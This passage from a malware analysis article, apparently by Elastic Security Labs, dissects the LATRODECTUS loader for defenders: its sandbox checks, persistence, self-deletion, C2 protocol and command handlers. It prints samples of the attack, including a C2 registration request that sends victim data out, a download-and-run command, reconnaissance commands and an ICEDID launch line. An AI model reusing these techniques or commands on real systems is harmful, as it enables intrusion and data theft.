\",(0,n.jsx)(e.code,{children:\"wininet.dll\"}),\", the malware takes a different approach performing a wildcard search (\",(0,n.jsx)(e.code,{children:\"*.dll\"}),\") in the Windows system directory. It retrieves each DLL filename and passes them directly to a CRC32 checksum function.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image15.png\",alt:\"DLL search using a CRC32 checksum\",width:\"612\",height:\"483\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"anti-analysis\",children:\"Anti-analysis\"}),`\n`,(0,n.jsx)(e.p,{children:\"When all the imports are resolved, LATRODECTUS performs several serial anti-analysis checks. The first monitors for a debugger by looking for the BeingDebugged flag inside the Process Environment Block (PEB). If a debugger is identified, the program terminates.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image35.png\",alt:\"BeingDebugged check via PEB\",width:\"313\",height:\"76\"})}),`\n`,(0,n.jsx)(e.p,{children:\"In order to avoid sandboxes or virtual machines that may have a low number of active processes, two validation checks are used to combine the number of running processes with the OS product version.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image30.png\",alt:\"Number of processes and OS validation checks\",width:\"599\",height:\"98\"})}),`\n`,(0,n.jsx)(e.p,{children:\"In order to account for the major differences between Windows OS versions, the developer uses a custom enum based on the major/minor version, and build numbers within Windows.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image4.png\",alt:\"Enum related to build numbers, OS version\",width:\"876\",height:\"601\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The two previous conditions translate to:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"LATRODECTUS will exit if the number of processes is less than 75 and the OS version is a recent build such as Windows 10, Windows Server 2016, or Windows 11\"}),`\n`,(0,n.jsx)(e.li,{children:\"LATRODECTUS will exit if the number of processes is less than 50 and the OS version is an older build such as Windows Server 2003 R2, Windows XP, Windows 2000, Windows 7, Windows 8, or Windows Server 2012/R2\"}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"After the sandbox check, LATRODECTUS verifies if the current process is running under WOW64, a subsystem of Windows operating systems that allows for 32-bit applications to run on 64-bit systems. If true (running as a 32-bit application on a 64-bit OS), the malware will exit.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image27.png\",alt:\"IsWow64Process check\",width:\"431\",height:\"83\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The last check is based on verifying the MAC address via the \",(0,n.jsx)(e.code,{children:\"GetAdaptersInfo()\"}),\" call from \",(0,n.jsx)(e.code,{children:\"iphlpapi.dll\"}),\". If there is no valid MAC Address, the malware will also terminate.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image36.png\",alt:\"MAC Address check\",width:\"540\",height:\"279\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"mutex\",children:\"Mutex\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"This malware uses the string \",(0,n.jsx)(e.code,{children:\"runnung\"}),\" as the mutex to prevent re-infection on the host, which may be an accidental typo on the part of developers.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image29.png\",alt:\"Mutex\",width:\"727\",height:\"124\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"hardware-id\",children:\"Hardware ID\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"After the mutex creation, LATRODECTUS will generate a hardware ID that is seeded from the volume serial number of the machine in combination with multiplying a hard-coded constant (\",(0,n.jsx)(e.code,{children:\"0x19660D\"}),\").\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image6.png\",alt:\"HWID calculation\",width:\"670\",height:\"200\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"campaign-id\",children:\"Campaign ID\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"At this stage, the decrypted campaign name (\",(0,n.jsx)(e.code,{children:\"Littlehw\"}),\") from our sample is used as a seed passed into a Fowler\\u2013Noll\\u2013Vo hashing \",(0,n.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function\",rel:\"nofollow\",children:\"function\"}),\". This will produce a hash that is used by the actor to track different campaigns and associated victim machines.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image37.png\",alt:\"Campaign ID calculation using FNV\",width:\"572\",height:\"97\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"setup--persistence\",children:\"Setup / persistence\"}),`\n`,(0,n.jsx)(e.p,{children:\"The malware will generate a folder path using a configuration parameter, these determine the location where LATRODECTUS will be dropped on disk, such as the following directories:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"AppData\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"Desktop\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"Startup\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"Personal\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"Local\\\\AppData\"})}),`\n`]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Our sample was configured with the \",(0,n.jsx)(e.code,{children:\"AppData\"}),\" location using a hard-coded directory string \",(0,n.jsx)(e.code,{children:\"Custom_update\"}),\" along with a hardcoded filename \",(0,n.jsx)(e.code,{children:\"Update_\"}),\" concatenated with digits seeded from the volume serial number. Below is the full file path inside our VM:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`C:\\\\Users\\\\REM\\\\AppData\\\\Roaming\\\\Custom_update\\\\Update_88d58563.dll\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The malware will check for an existing file \",(0,n.jsx)(e.code,{children:\"AppData\\\\Roaming\\\\Custom_update\\\\update_data.dat\"}),\" to read from, and if the file does not exist it will create the directory before writing a copy of itself in the directory.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image7.png\",alt:\"LATRODECTUS written in AppData\",width:\"1406\",height:\"323\"})}),`\n`,(0,n.jsx)(e.p,{children:\"After the file is copied, LATRODECTUS retrieves two C2 domains from the global configuration, using the previously-described string decryption function.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image19.png\",alt:\"Decrypting C2 servers\",width:\"906\",height:\"476\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Before the main thread is executed for command dispatching, LATRODECTUS sets up a scheduled task for persistence using the Windows Component Object Model (COM).\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image14.png\",alt:\"Scheduled task creation via COM\",width:\"735\",height:\"421\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"In our sample, the task name is hardcoded as \",(0,n.jsx)(e.code,{children:\"Updater\"}),\" and scheduled to execute upon successful logon.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image12.png\",alt:\"Scheduled task properties\",width:\"817\",height:\"268\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"self-deletion\",children:\"Self-deletion\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Self-deletion is one noteworthy technique incorporated by LATRODECTUS. It was \",(0,n.jsx)(e.a,{href:\"https://x.com/jonasLyk/status/1350401461985955840\",rel:\"nofollow\",children:\"discovered\"}),\" by Jonas Lykkegaard and implemented by Lloyd Davies in the delete-self-poc \",(0,n.jsx)(e.a,{href:\"https://github.com/LloydLabs/delete-self-poc\",rel:\"nofollow\",children:\"repo\"}),\". The technique allows LATRODECTUS to delete itself while the process is still running using an alternate data stream.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Elastic Security Labs has seen this technique adopted in malware such as the \",(0,n.jsx)(e.a,{href:\"https://chuongdong.com/reverse%20engineering/2022/01/06/RookRansomware/#anti-detection-alternate-data-streams\",rel:\"nofollow\",children:\"ROOK\"}),\" ransomware family. The likely objective is to hinder incident response processes by interfering with collection and analysis. The compiled malware contains a \",(0,n.jsx)(e.a,{href:\"https://github.com/LloydLabs/delete-self-poc/blob/49fe92218fdcfe8e173aa60a9eb307bae07cb027/main.h#L10\",rel:\"nofollow\",children:\"string\"}),\" (\",(0,n.jsx)(e.code,{children:\":wtfbbq\"}),\") present in the repository.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image2.png\",alt:\"Self-deletion code in LATRODECTUS\",width:\"823\",height:\"354\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"This technique is observed at the start of the infection as well as when the malware performs an update using event handler #15. Elastic Security Labs has created a \",(0,n.jsx)(e.a,{href:\"https://github.com/mandiant/capa-rules/blob/master/anti-analysis/anti-forensic/self-deletion/self-delete-using-alternate-data-streams.yml\",rel:\"nofollow\",children:\"CAPA rule\"}),\" to help other organizations identify this behavior generically when analyzing various malware.\"]}),`\n`,(0,n.jsx)(e.h3,{id:\"communication\",children:\"Communication\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"LATRODECTUS encrypts its requests using base64 and RC4 with a hardcoded password of \",(0,n.jsx)(e.code,{children:\"12345\"}),\". The first POST request over HTTPS that includes victim information along with configuration details, registering the infected system.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`POST https://aytobusesre.com/live/ HTTP/1.1\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)\nHost: aytobusesre.com\nContent-Length: 256\nCache-Control: no-cache\n\nM1pNDFh7flKrBaDJqAPvJ98BTFDZdSDWDD8o3bMJbpmu0qdYv0FCZ0u6GtKSN0g//WHAS2npR/HDoLtIKBgkLwyrIh/3EJ+UR/0EKhYUzgm9K4DotfExUiX9FBy/HeV7C4PgPDigm55zCU7O9kSADMtviAodjuRBVW3DJ2Pf5+pGH9SG1VI8bdmZg+6GQFpcFTGjdWVcrORkxBjCGq3Eiv2svt3+ZFIN126PcvN95YJ0ie1Puljfs3wqsW455V7O\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image32.png\",alt:\"Initial registration request\",width:\"865\",height:\"324\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Below is an example of the decrypted contents sent in the first request:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`counter=0\u0026type=1\u0026guid=249507485CA29F24F77B0F43D7BA\u0026os=6\u0026arch=1\u0026username=user\u0026group=510584660\u0026ver=1.1\u0026up=4\u0026direction=aytobusesre.com\u0026mac=00:0c:24:0e:29:85;\u0026computername=DESKTOP-3C4ILHO\u0026domain=-\n`})}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{children:\"Name\"}),(0,n.jsx)(e.th,{children:\"Description\"})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"counter\"}),(0,n.jsx)(e.td,{children:\"Number of C2 requests increments by one for each callback\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"type\"}),(0,n.jsx)(e.td,{children:\"Type of request (registration, etc)\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"guid\"}),(0,n.jsx)(e.td,{children:\"Generated hardware ID seeded by volume serial number\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"os\"}),(0,n.jsx)(e.td,{children:\"Windows OS product version\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"arch\"}),(0,n.jsx)(e.td,{children:\"Windows architecture version\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"username\"}),(0,n.jsx)(e.td,{children:\"Username of infected machine\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"group\"}),(0,n.jsx)(e.td,{children:\"Campaign identifier seeded by unique string in binary with FNV\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"version\"}),(0,n.jsx)(e.td,{children:\"LATRODECTUS version\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"up\"}),(0,n.jsx)(e.td,{children:\"Unknown\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"direction\"}),(0,n.jsx)(e.td,{children:\"C2 domain\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"mac\"}),(0,n.jsx)(e.td,{children:\"MAC Address\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"computername\"}),(0,n.jsx)(e.td,{children:\"Hostname of infected machine\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"domain\"}),(0,n.jsx)(e.td,{children:\"Domain belonging to infected machine\"})]})]})]})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Each request is pipe-delimited by an object type, integer value, and corresponding argument. There are 4 object types which route the attacker controlled commands (\",(0,n.jsx)(e.strong,{children:\"CLEARURL\"}),\", \",(0,n.jsx)(e.strong,{children:\"URLS\"}),\", \",(0,n.jsx)(e.strong,{children:\"COMMAND\"}),\", \",(0,n.jsx)(e.strong,{children:\"ERROR\"}),\").\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image39.png\",alt:\"Command dispatching logic\",width:\"646\",height:\"510\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The main event handlers are passed through the \",(0,n.jsx)(e.strong,{children:\"COMMAND\"}),\" object type with the handler ID and their respective argument.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`COMMAND|12|http://www.meow123.com/test \n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The \",(0,n.jsx)(e.strong,{children:\"CLEARURL\"}),\" object type is used to delete any configured domains. The \",(0,n.jsx)(e.strong,{children:\"URLS\"}),\" object type allows the attacker to swap to a new C2 URL. The last object type, \",(0,n.jsx)(e.strong,{children:\"ERROR\"}),\", is not currently configured.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image11.png\",alt:\"Example of command request via CyberChef\",width:\"916\",height:\"408\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"bot-functionality\",children:\"Bot Functionality\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"LATRODECTUS\\u2019s core functionality is driven through its command handlers. These handlers are used to collect information from the victim machine, provide execution capabilities as well as configure the implant. We have seen two additional handlers (retrieve processes, desktop listing) added since the initial \",(0,n.jsx)(e.a,{href:\"https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39\",rel:\"nofollow\",children:\"publication\"}),\" which may be a sign that the codebase is still active and changing.\"]}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{children:\"Command ID\"}),(0,n.jsx)(e.th,{children:\"Description\"})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"2\"}),(0,n.jsx)(e.td,{children:\"Retrieve file listing from desktop directory\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"3\"}),(0,n.jsx)(e.td,{children:\"Retrieve process ancestry\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"4\"}),(0,n.jsx)(e.td,{children:\"Collect system information\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"12\"}),(0,n.jsx)(e.td,{children:\"Download and execute PE\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"13\"}),(0,n.jsx)(e.td,{children:\"Download and execute DLL\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"14\"}),(0,n.jsx)(e.td,{children:\"Download and execute shellcode\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"15\"}),(0,n.jsx)(e.td,{children:\"Perform update, restart\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"17\"}),(0,n.jsx)(e.td,{children:\"Terminate own process and threads\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"18\"}),(0,n.jsx)(e.td,{children:\"Download and execute ICEDID payload\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"19\"}),(0,n.jsx)(e.td,{children:\"Increase Beacon Timeout\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"20\"}),(0,n.jsx)(e.td,{children:\"Resets request counter\"})]})]})]})}),`\n`,(0,n.jsx)(e.h4,{id:\"desktop-listing---command-id-2\",children:\"Desktop listing - command ID (2)\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"This command handler will retrieve a list of the contents of the user\\u2019s desktop, which the developer refers to as \",(0,n.jsx)(e.code,{children:\"desklinks\"}),\". This data will be encrypted and appended to the outbound beacon request. This is used for enumerating and validating victim environments quickly.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image16.png\",alt:\"Desktop listing (Handler #2)\",width:\"701\",height:\"616\"})}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.strong,{children:\"Example request\"}),\":\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`counter=0\u0026type=1\u0026guid=249507485CA29F24F77B0F43D7BA\u0026os=6\u0026arch=1\u0026username=user\u0026group=510584660\u0026ver=1.1\u0026up=4\u0026direction=aytobusesre.com\u0026desklinks=[\"OneDrive.lnk\",\"OneNote.lnk\",\"PowerPoint.lnk\",\"Notepad++.lnk\",\"Excel.lnk\",\"Google Chrome.lnk\",\"Snipping Tool.lnk\",\"Notepad.lnk\",\"Paint.lnk\"]\n`})}),`\n`,(0,n.jsx)(e.h4,{id:\"process-ancestry---command-id-3\",children:\"Process ancestry - command ID (3)\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"This event handler is referenced as \",(0,n.jsx)(e.strong,{children:\"proclist\"}),\" by the developer where it collects the entire running process ancestry from the infected machine via the \",(0,n.jsx)(e.strong,{children:\"CreateToolhelp32Snapshot\"}),\" API.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image25.png\",alt:\"Retrieve process ancestry (Handler #3)\",width:\"702\",height:\"390\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Like security researchers, malware authors are interested in process parent/child relationships for decision-making. The authors of LATRODECTUS even collect information about process grandchildren, likely to validate different compromised environments.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image17.png\",alt:\"Example of process ancestry collected by LATRODECTUS\",width:\"869\",height:\"506\"})}),`\n`,(0,n.jsx)(e.h4,{id:\"collect-system-information---command-id-4\",children:\"Collect system information - command ID (4)\"}),`\n`,(0,n.jsx)(e.p,{children:\"This command handler creates a new thread that runs the following system discovery/enumeration commands, each of which is a potential detection opportunity:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-bash\",children:`C:\\\\Windows\\\\System32\\\\cmd.exe /c ipconfig /all\nC:\\\\Windows\\\\System32\\\\cmd.exe /c systeminfo\nC:\\\\Windows\\\\System32\\\\cmd.exe /c nltest /domain_trusts\nC:\\\\Windows\\\\System32\\\\cmd.exe /c nltest /domain_trusts /all_trusts\nC:\\\\Windows\\\\System32\\\\cmd.exe /c net view /all /domain\nC:\\\\Windows\\\\System32\\\\cmd.exe /c net view /all\nC:\\\\Windows\\\\System32\\\\cmd.exe /c net group \"Domain Admins\" /domain\nC:\\\\Windows\\\\System32\\\\wbem\\\\wmic.exe /Node:localhost /Namespace:\\\\\\\\root\\\\SecurityCenter2 Path AntiVirusProduct Get * /Format:List\nC:\\\\Windows\\\\System32\\\\cmd.exe /c net config workstation\nC:\\\\Windows\\\\System32\\\\cmd.exe /c wmic.exe /node:localhost /namespace:\\\\\\\\root\\\\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed\nC:\\\\Windows\\\\System32\\\\cmd.exe /c whoami /groups\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"Each output is placed into URI with corresponding collected data:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`\u0026ipconfig=\n\u0026systeminfo=\n\u0026domain_trusts=\n\u0026domain_trusts_all=\n\u0026net_view_all_domain=\n\u0026net_view_all=\n\u0026net_group=\n\u0026wmic=\n\u0026net_config_ws=\n\u0026net_wmic_av=\n\u0026whoami_group=\n`})}),`\n`,(0,n.jsx)(e.h4,{id:\"download-and-execute-pe---command-id-12\",children:\"Download and execute PE - command ID (12)\"}),`\n`,(0,n.jsx)(e.p,{children:\"This handler downloads a PE file from the C2 server then writes the content to disk with a randomly generated file name, then executes the file.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image19.png\",alt:\"Download and Run PE function (Handler #4)\",width:\"906\",height:\"476\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Below is an example in our environment using this handler:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image34.png\",alt:\"Process tree of download and run PE function\",width:\"733\",height:\"52\"})}),`\n`,(0,n.jsx)(e.h4,{id:\"download-and-execute-dll---command-id-13\",children:\"Download and execute DLL - command ID (13)\"}),`\n`,(0,n.jsx)(e.p,{children:\"This command handler downloads a DLL from C2 server, writes it to disk with a randomly generated file name, and executes the DLL using rundll32.exe.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image10.png\",alt:\"Download and run DLL function (Handler #13)\",width:\"875\",height:\"488\"})}),`\n`,(0,n.jsx)(e.h4,{id:\"download-and-execute-shellcode---command-14\",children:\"Download and execute shellcode - command (14)\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"This command handler downloads shellcode from the C2 server via \",(0,n.jsx)(e.code,{children:\"InternetReadFile\"}),\", allocates and copies the shellcode into memory then directly calls it with a new thread pointing at the shellcode.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image24.png\",alt:\"Shellcode execution (Handler #14)\",width:\"772\",height:\"327\"})}),`\n`,(0,n.jsx)(e.h4,{id:\"update--restart----command-id-15\",children:\"Update / restart - command ID (15)\"}),`\n`,(0,n.jsx)(e.p,{children:\"This handler appears to perform a binary update to the malware where it\\u2019s downloaded, the existing thread/mutex is notified, and then released. The file is subsequently deleted and a new binary is downloaded/executed before terminating the existing process.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image33.png\",alt:\"Update handler (Handler #15)\",width:\"549\",height:\"172\"})}),`\n`,(0,n.jsx)(e.h4,{id:\"terminate---command-id-17\",children:\"Terminate - command ID (17)\"}),`\n`,(0,n.jsx)(e.p,{children:\"This handler will terminate the existing LATRODECTUS process.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image46.png\",alt:\"Self-termination (Handler #17)\",width:\"174\",height:\"48\"})}),`\n`,(0,n.jsx)(e.h4,{id:\"download-and-execute-hosted-iceid-payload---command-id-18\",children:\"Download and execute hosted ICEID payload - command ID (18)\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"This command handler downloads two ICEDID components from a LATRODECTUS server and executes them using a spawned \",(0,n.jsx)(e.code,{children:\"rundll32.exe\"}),\" process. We haven\\u2019t personally observed this being used in-the-wild, however.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"The handler creates a folder containing two files to the \",(0,n.jsx)(e.code,{children:\"AppData\\\\Roaming\\\\\"}),\" directory. These file paths and filenames are seeded by a custom random number generator which we will review in the next section. In our case, this new folder location is:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`C:\\\\Users\\\\REM\\\\AppData\\\\Roaming\\\\-632116337\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"It retrieves a file (\",(0,n.jsx)(e.code,{children:\"test.dll\"}),\") from the C2 server, the standard ICEDID loader, which is written to disk with a randomly -generated file name (\",(0,n.jsx)(e.code,{children:\"-456638727.dll\"}),\").\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image9.png\",alt:\"LATRODECTUS downloading ICEDID loader\",width:\"1003\",height:\"226\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"LATRODECTUS will then perform similar steps by generating a random filename for the ICEDID payload (\",(0,n.jsx)(e.code,{children:\"1431684209.dat\"}),\"). Before performing the download, it will set-up the arguments to properly load ICEDID. If you have run into ICEDID in the past, this part of the command-line should look familiar: it\\u2019s used to call the ICEDID export of the loader, while passing the relative path to the encrypted ICEDID payload file.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`init -zzzz=\"-632116337\\\\1431684209.dat\"\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image20.png\",alt:\"LATRODECTUS downloading ICEDID data\",width:\"1160\",height:\"337\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"LATRODECUS initiates a second download request using a hard-coded URI (\",(0,n.jsx)(e.code,{children:\"/files/bp.dat\"}),\") from the configured C2 server, which is written to a file (\",(0,n.jsx)(e.code,{children:\"1431684209.dat\"}),\"). Analyzing the \",(0,n.jsx)(e.code,{children:\"bp.dat\"}),\" file, researchers identified it as a conventional encrypted ICEDID payload, commonly referenced as \",(0,n.jsx)(e.code,{children:\"license.dat\"}),\".\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image31.png\",alt:\"Encrypted ICEDID payload (bp.dat)\",width:\"645\",height:\"284\"})}),`\n`,(0,n.jsx)(e.p,{children:\"After decrypting the file, malware researchers noted a familiar 129 byte sequence of junk bytes prepended to the file followed by the custom section headers.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image43.png\",alt:\"Decrypted ICEDID payload (bp.dat)\",width:\"694\",height:\"345\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Our team was able to revisit \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/unpacking-icedid\",rel:\"nofollow\",children:\"prior tooling\"}),\" and successfully decrypt this file, enabling us to rebuild the PE (ICEDID).\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image28.png\",alt:\"ICEDID YARA triggering on rebuilt PE from bp.dat\",width:\"1174\",height:\"371\"})}),`\n`,(0,n.jsx)(e.p,{children:\"At this point, the ICEDID loader and encrypted payload have been downloaded to the same folder.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image38.png\",alt:\"\",width:\"852\",height:\"205\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"These files are then executed together using \",(0,n.jsx)(e.code,{children:\"rundll32.exe\"}),\" via \",(0,n.jsx)(e.strong,{children:\"CreateProcessW\"}),\" with their respective arguments. Below is the observed command-line:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`rundll32.exe C:\\\\Users\\\\REM\\\\AppData\\\\Roaming\\\\-632116337\\\\-456638727.dll,init -zzzz=\"-632116337\\\\1431684209.dat\"\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image18.png\",alt:\"Rundll32.exe 